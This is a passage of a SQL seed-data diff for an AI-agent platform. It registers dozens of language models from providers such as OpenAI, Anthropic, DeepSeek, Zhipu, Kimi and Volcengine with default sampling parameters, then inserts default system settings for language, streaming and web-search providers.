0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000117, 'GPT-5 Nano', 'openai', 'gpt-5-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000118, 'GPT-4.1', 'openai', 'gpt-4.1', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000119, 'GPT-4.1 Mini', 'openai', 'gpt-4.1-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000120, 'GPT-4.1 Nano', 'openai', 'gpt-4.1-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000121, 'o3', 'openai', 'o3', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000122, 'o4-mini', 'openai', 'o4-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000123, 'GPT-4o', 'openai', 'gpt-4o', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000124, 'GPT-4o Mini', 'openai', 'gpt-4o-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000125, 'GPT-5 Chat', 'azure-openai', 'gpt-5-chat', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000126, 'GPT-5 Mini', 'azure-openai', 'gpt-5-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000127, 'GPT-5 Nano', 'azure-openai', 'gpt-5-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000128, 'GPT-4.1', 'azure-openai', 'gpt-4.1', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000129, 'GPT-4.1 Mini', 'azure-openai', 'gpt-4.1-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000130, 'GPT-4.1 Nano', 'azure-openai', 'gpt-4.1-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000131, 'GPT-4o', 'azure-openai', 'gpt-4o', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000132, 'GPT-4o Mini', 'azure-openai', 'gpt-4o-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000133, 'MiniMax M2.5', 'minimax', 'MiniMax-M2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000134, 'MiniMax M2.5 Highspeed', 'minimax', 'MiniMax-M2.5-highspeed', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000135, 'MiniMax M2.7', 'minimax', 'MiniMax-M2.7', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000136, 'MiniMax M2.7 Highspeed', 'minimax', 'MiniMax-M2.7-highspeed', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000137, 'MiniMax M2.5', 'minimax-cn', 'MiniMax-M2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000138, 'MiniMax M2.5 Highspeed', 'minimax-cn', 'MiniMax-M2.5-highspeed', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000139, 'MiniMax M2.7', 'minimax-cn', 'MiniMax-M2.7', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000140, 'MiniMax M2.7 Highspeed', 'minimax-cn', 'MiniMax-M2.7-highspeed', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000141, 'Kimi K2.5', 'kimi-cn', 'kimi-k2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000142, 'Kimi K2 0905 Preview', 'kimi-cn', 'kimi-k2-0905-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000143, 'Kimi K2 0711 Preview', 'kimi-cn', 'kimi-k2-0711-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000144, 'Kimi K2 Turbo Preview', 'kimi-cn', 'kimi-k2-turbo-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000145, 'Kimi K2 Thinking', 'kimi-cn', 'kimi-k2-thinking', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000146, 'Kimi K2 Thinking Turbo', 'kimi-cn', 'kimi-k2-thinking-turbo', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000147, 'Kimi K2.5', 'kimi-intl', 'kimi-k2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000148, 'Kimi K2 0905 Preview', 'kimi-intl', 'kimi-k2-0905-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000149, 'Kimi K2 0711 Preview', 'kimi-intl', 'kimi-k2-0711-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000150, 'Kimi K2 Turbo Preview', 'kimi-intl', 'kimi-k2-turbo-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000151, 'Kimi K2 Thinking', 'kimi-intl', 'kimi-k2-thinking', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000152, 'Kimi K2 Thinking Turbo', 'kimi-intl', 'kimi-k2-thinking-turbo', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000153, 'DeepSeek Chat', 'deepseek', 'deepseek-chat', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000154, 'DeepSeek Reasoner', 'deepseek', 'deepseek-reasoner', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- DeepSeek V4(1M 上下文,原生 thinking 模式由 DeepSeekV4ThinkingDecorator 注入) +(1000000282, 'DeepSeek V4 Flash', 'deepseek', 'deepseek-v4-flash', 'DeepSeek V4 Flash(1M 上下文,thinking 模式开启时支持 reasoning_effort)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000283, 'DeepSeek V4 Pro', 'deepseek', 'deepseek-v4-pro', 'DeepSeek V4 Pro(1M 上下文,thinking 模式开启时支持 reasoning_effort)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000155, 'Gemini 3.1 Pro Preview', 'gemini', 'gemini-3.1-pro-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000156, 'Gemini 3 Flash Preview', 'gemini', 'gemini-3-flash-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000157, 'Gemini 3.1 Flash Lite Preview', 'gemini', 'gemini-3.1-flash-lite-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000158, 'Gemini 2.5 Pro', 'gemini', 'gemini-2.5-pro', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000159, 'Gemini 2.5 Flash', 'gemini', 'gemini-2.5-flash', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000160, 'Gemini 2.5 Flash Lite', 'gemini', 'gemini-2.5-flash-lite', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000161, 'Gemini 2.0 Flash', 'gemini', 'gemini-2.0-flash', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000340, 'Grok 4', 'xai', 'grok-4', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000341, 'Grok 4 Fast', 'xai', 'grok-4-fast', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000342, 'Grok 3', 'xai', 'grok-3', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000343, 'Grok 3 Mini', 'xai', 'grok-3-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000200, 'GPT-5', 'openrouter', 'openai/gpt-5', 'OpenRouter 代理 GPT-5', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000201, 'Claude Opus 4.6', 'openrouter', 'anthropic/claude-opus-4-6', 'OpenRouter 代理 Claude Opus 4.6', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000202, 'Claude Sonnet 4.6', 'openrouter', 'anthropic/claude-sonnet-4-6', 'OpenRouter 代理 Claude Sonnet 4.6', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000203, 'Gemini 2.5 Pro', 'openrouter', 'google/gemini-2.5-pro', 'OpenRouter 代理 Gemini 2.5 Pro', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000204, 'Llama 4 Maverick', 'openrouter', 'meta-llama/llama-4-maverick', 'OpenRouter 代理 Llama 4 Maverick', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000205, 'DeepSeek R1', 'openrouter', 'deepseek/deepseek-r1', 'OpenRouter 代理 DeepSeek R1', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000206, 'Qwen3.6 Plus (free)', 'openrouter', 'qwen/qwen3.6-plus:free', 'OpenRouter 免费 Qwen3.6 Plus(支持视觉)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000207, 'Gemini 2.5 Flash (free)', 'openrouter', 'google/gemini-2.5-flash:free', 'OpenRouter 免费 Gemini 2.5 Flash(支持视觉)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000208, 'Llama 4 Maverick (free)', 'openrouter', 'meta-llama/llama-4-maverick:free', 'OpenRouter 免费 Llama 4 Maverick(支持视觉)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000500, 'DeepSeek V3', 'siliconflow-cn', 'deepseek-ai/DeepSeek-V3', '硅基流动 — DeepSeek V3,综合能力强,有免费额度', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000501, 'DeepSeek R1', 'siliconflow-cn', 'deepseek-ai/DeepSeek-R1', '硅基流动 — DeepSeek R1 推理模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000502, 'Qwen3 235B A22B', 'siliconflow-cn', 'Qwen/Qwen3-235B-A22B', '硅基流动 — 千问3旗舰 MoE 模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000503, 'Qwen3 30B A3B', 'siliconflow-cn', 'Qwen/Qwen3-30B-A3B', '硅基流动 — 千问3高性价比 MoE 模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000504, 'GLM-4 9B Chat', 'siliconflow-cn', 'THUDM/glm-4-9b-chat', '硅基流动 — 智谱 GLM-4 9B,免费可用', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000505, 'DeepSeek V3 Pro', 'siliconflow-cn', 'Pro/deepseek-ai/DeepSeek-V3', '硅基流动 Pro — DeepSeek V3 优先调度版', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000506, 'DeepSeek R1 Pro', 'siliconflow-cn', 'Pro/deepseek-ai/DeepSeek-R1', '硅基流动 Pro — DeepSeek R1 推理优先调度版', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000510, 'DeepSeek V3', 'siliconflow-intl', 'deepseek-ai/DeepSeek-V3', 'SiliconFlow INTL — DeepSeek V3', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000511, 'DeepSeek R1', 'siliconflow-intl', 'deepseek-ai/DeepSeek-R1', 'SiliconFlow INTL — DeepSeek R1 reasoning model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000512, 'Qwen3 235B A22B', 'siliconflow-intl', 'Qwen/Qwen3-235B-A22B', 'SiliconFlow INTL — Qwen3 flagship MoE model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000513, 'Qwen3 30B A3B', 'siliconflow-intl', 'Qwen/Qwen3-30B-A3B', 'SiliconFlow INTL — Qwen3 efficient MoE model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000514, 'GLM-4 9B Chat', 'siliconflow-intl', 'THUDM/glm-4-9b-chat', 'SiliconFlow INTL — Zhipu GLM-4 9B, free tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000515, 'DeepSeek V3 Pro', 'siliconflow-intl', 'Pro/deepseek-ai/DeepSeek-V3', 'SiliconFlow INTL Pro — DeepSeek V3 priority tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000516, 'DeepSeek R1 Pro', 'siliconflow-intl', 'Pro/deepseek-ai/DeepSeek-R1', 'SiliconFlow INTL Pro — DeepSeek R1 priority tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000520, 'Big Pickle', 'opencode', 'big-pickle', 'OpenCode 免费模型 — Big Pickle', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000521, 'Nemotron 3 Super Free', 'opencode', 'nemotron-3-super-free', 'OpenCode 免费模型 — Nemotron 3 Super', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000210, 'GLM-5-Turbo', 'zhipu-cn', 'glm-5-turbo', '高速推理模型(推荐)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000211, 'GLM-5V-Turbo', 'zhipu-cn', 'glm-5v-turbo', '多模态视觉模型(推荐)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000212, 'GLM-5', 'zhipu-cn', 'glm-5', '旗舰模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000213, 'GLM-5.1', 'zhipu-cn', 'glm-5.1', '最新旗舰模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000220, 'GLM-5-Turbo', 'zhipu-intl', 'glm-5-turbo', '高速推理模型(国际版,推荐)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000221, 'GLM-5V-Turbo', 'zhipu-intl', 'glm-5v-turbo', '多模态视觉模型(国际版,推荐)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000222, 'GLM-5', 'zhipu-intl', 'glm-5', '旗舰模型(国际版)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000223, 'GLM-5.1', 'zhipu-intl', 'glm-5.1', '最新旗舰模型(国际版)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000230, 'GLM-5 Coding', 'zhipu-cn-codingplan', 'glm-5', '智谱编码套餐 — GLM-5 旗舰', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000231, 'GLM-5.1 Coding', 'zhipu-cn-codingplan', 'glm-5.1', '智谱编码套餐 — GLM-5.1 最新旗舰', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000232, 'GLM-5-Turbo Coding', 'zhipu-cn-codingplan', 'glm-5-turbo', '智谱编码套餐 — GLM-5 高速版', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000233, 'GLM-4.7 Coding', 'zhipu-cn-codingplan', 'glm-4.7', '智谱编码套餐 — GLM-4.7', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000234, 'GLM-5 Coding', 'zhipu-intl-codingplan', 'glm-5', 'Zhipu Coding Plan — GLM-5 旗舰(国际版)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000235, 'GLM-5.1 Coding', 'zhipu-intl-codingplan', 'glm-5.1', 'Zhipu Coding Plan — GLM-5.1 最新旗舰(国际版)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000236, 'GLM-5-Turbo Coding', 'zhipu-intl-codingplan', 'glm-5-turbo', 'Zhipu Coding Plan — GLM-5 高速版(国际版)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000237, 'GLM-4.7 Coding', 'zhipu-intl-codingplan', 'glm-4.7', 'Zhipu Coding Plan — GLM-4.7(国际版)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000310, 'Doubao Seed 1.8', 'volcengine', 'doubao-seed-1-8-251228', '豆包旗舰多模态模型,文本+图像,256K 上下文', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000311, 'Doubao Seed Code Preview', 'volcengine', 'doubao-seed-code-preview-251028', '豆包代码预览模型,文本+图像,256K 上下文', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000312, 'Kimi K2.5', 'volcengine', 'kimi-k2-5-260127', 'Kimi K2.5(火山方舟托管),文本+图像,256K 上下文', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000313, 'GLM 4.7', 'volcengine', 'glm-4-7-251222', 'GLM 4.7(火山方舟托管),文本+图像,200K 上下文', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000314, 'DeepSeek V3.2', 'volcengine', 'deepseek-v3-2-251201', 'DeepSeek V3.2(火山方舟托管),文本+图像,128K 上下文', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000320, 'Ark Coding Plan', 'volcengine-plan', 'ark-code-latest', '方舟代码计划旗舰模型,256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000321, 'Doubao Seed Code', 'volcengine-plan', 'doubao-seed-code', '豆包代码模型,256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000322, 'Doubao Seed Code Preview', 'volcengine-plan', 'doubao-seed-code-preview-251028', '豆包代码预览模型,256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000323, 'GLM 4.7 Coding', 'volcengine-plan', 'glm-4.7', 'GLM 4.7 编码版(火山方舟托管),200K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000324, 'Kimi K2 Thinking', 'volcengine-plan', 'kimi-k2-thinking', 'Kimi K2 推理版(火山方舟托管),256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000325, 'Kimi K2.5 Coding', 'volcengine-plan', 'kimi-k2.5', 'Kimi K2.5 编码版(火山方舟托管),256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000240, 'Kimi for Coding', 'kimi-code', 'kimi-for-coding', 'Kimi Code 专用编码模型', 0.2, 32768, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000250, 'GPT-5.4', 'openai-chatgpt', 'gpt-5.4', 'ChatGPT Plus/Pro 会员模型(OAuth 登录)', NULL, 128000, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000251, 'GPT-5.4 Mini', 'openai-chatgpt', 'gpt-5.4-mini', 'ChatGPT 会员轻量模型', NULL, 128000, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- GPT-5.5 系列(OpenAI / Azure / OpenRouter) +(1000000260, 'GPT-5.5', 'openai', 'gpt-5.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000261, 'GPT-5.5 Mini', 'openai', 'gpt-5.5-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000262, 'GPT-5.5 Nano', 'openai', 'gpt-5.5-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000263, 'GPT-5.5', 'azure-openai', 'gpt-5.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000264, 'GPT-5.5 Mini', 'azure-openai', 'gpt-5.5-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000265, 'GPT-5.5', 'openrouter', 'openai/gpt-5.5', 'OpenRouter 代理 GPT-5.5', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Claude 4.7 系列(直连 Anthropic + OpenRouter) +-- 注意:Claude 4.7 禁止 temperature / top_p / top_k 参数,已在 AgentAnthropicChatModelBuilder 中适配 +(1000000270, 'Claude Opus 4.7', 'anthropic', 'claude-opus-4-7', 'Anthropic Claude Opus 4.7(xhigh 自适应思考)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Anthropic 仅发布了 Opus 4.7,Sonnet 暂时仍是 4.6 +(1000000271, 'Claude Sonnet 4.6', 'anthropic', 'claude-sonnet-4-6', 'Anthropic 最新 Sonnet (Sonnet 4.7 暂未发布)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000272, 'Claude Opus 4.7', 'openrouter', 'anthropic/claude-opus-4-7', 'OpenRouter 代理 Claude Opus 4.7', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000273, 'Claude Sonnet 4.6', 'openrouter', 'anthropic/claude-sonnet-4-6', 'OpenRouter 代理 Claude Sonnet 4.6', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- RFC-062:通过 Claude Code Pro/Max 订阅调用 Claude 4.7 +(1000000280, 'Claude Opus 4.7', 'anthropic-claude-code', 'claude-opus-4-7', '通过 Claude Code Pro/Max 订阅调用 Claude Opus 4.7', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000281, 'Claude Sonnet 4.6', 'anthropic-claude-code', 'claude-sonnet-4-6', '通过 Claude Code Pro/Max 订阅调用 Claude Sonnet 4.6', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Claude 4.8 系列(直连 Anthropic + OpenRouter,包含 -fast 高速变体) +-- 与 4.7 共享严格采样契约:temperature / top_p / top_k 必须为空,新增 xhigh 思考档位 +(1000000290, 'Claude Opus 4.8', 'anthropic', 'claude-opus-4-8', 'Anthropic Claude Opus 4.8(xhigh 自适应思考)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000291, 'Claude Opus 4.8 Fast', 'anthropic', 'claude-opus-4-8-fast', 'Claude Opus 4.8 高速变体(输出更快、单价 2x)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000292, 'Claude Opus 4.8', 'openrouter', 'anthropic/claude-opus-4-8', 'OpenRouter 代理 Claude Opus 4.8', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000293, 'Claude Opus 4.8 Fast', 'openrouter', 'anthropic/claude-opus-4-8-fast', 'OpenRouter 代理 Claude Opus 4.8 高速变体', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000294, 'Claude Opus 4.8', 'anthropic-claude-code', 'claude-opus-4-8', '通过 Claude Code Pro/Max 订阅调用 Claude Opus 4.8', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 默认系统设置 +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000001, 'language', 'zh-CN', '当前界面语言', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000002, 'streamEnabled', 'true', '是否开启流式响应', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000003, 'debugMode', 'false', '是否开启调试模式', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000004, 'stateGraphEnabled', 'true', '启用 StateGraph 架构的 ReAct Agent', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +-- 搜索服务配置 +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000005, 'searchEnabled', 'true', '是否启用搜索功能', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000006, 'searchProvider', 'serper', '搜索服务提供商', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000007, 'searchFallbackEnabled', 'false', '搜索失败时是否回退到备用提供商', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000008, 'serperApiKey', '', 'Serper API Key', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000009, 'serperBaseUrl', 'https://google.serper.dev/search', 'Serper 接口地址', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000010, 'tavilyApiKey', '', 'Tavily API Key', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000011, 'tavilyBaseUrl', 'https://api.tavily.com/search', 'Tavily 接口地址', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000012, 'duckduckgoEnabled', 'true', 'DuckDuckGo 免 Key 搜索兜底(零配置可用)', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000013, 'searxngBaseUrl', '', 'SearXNG 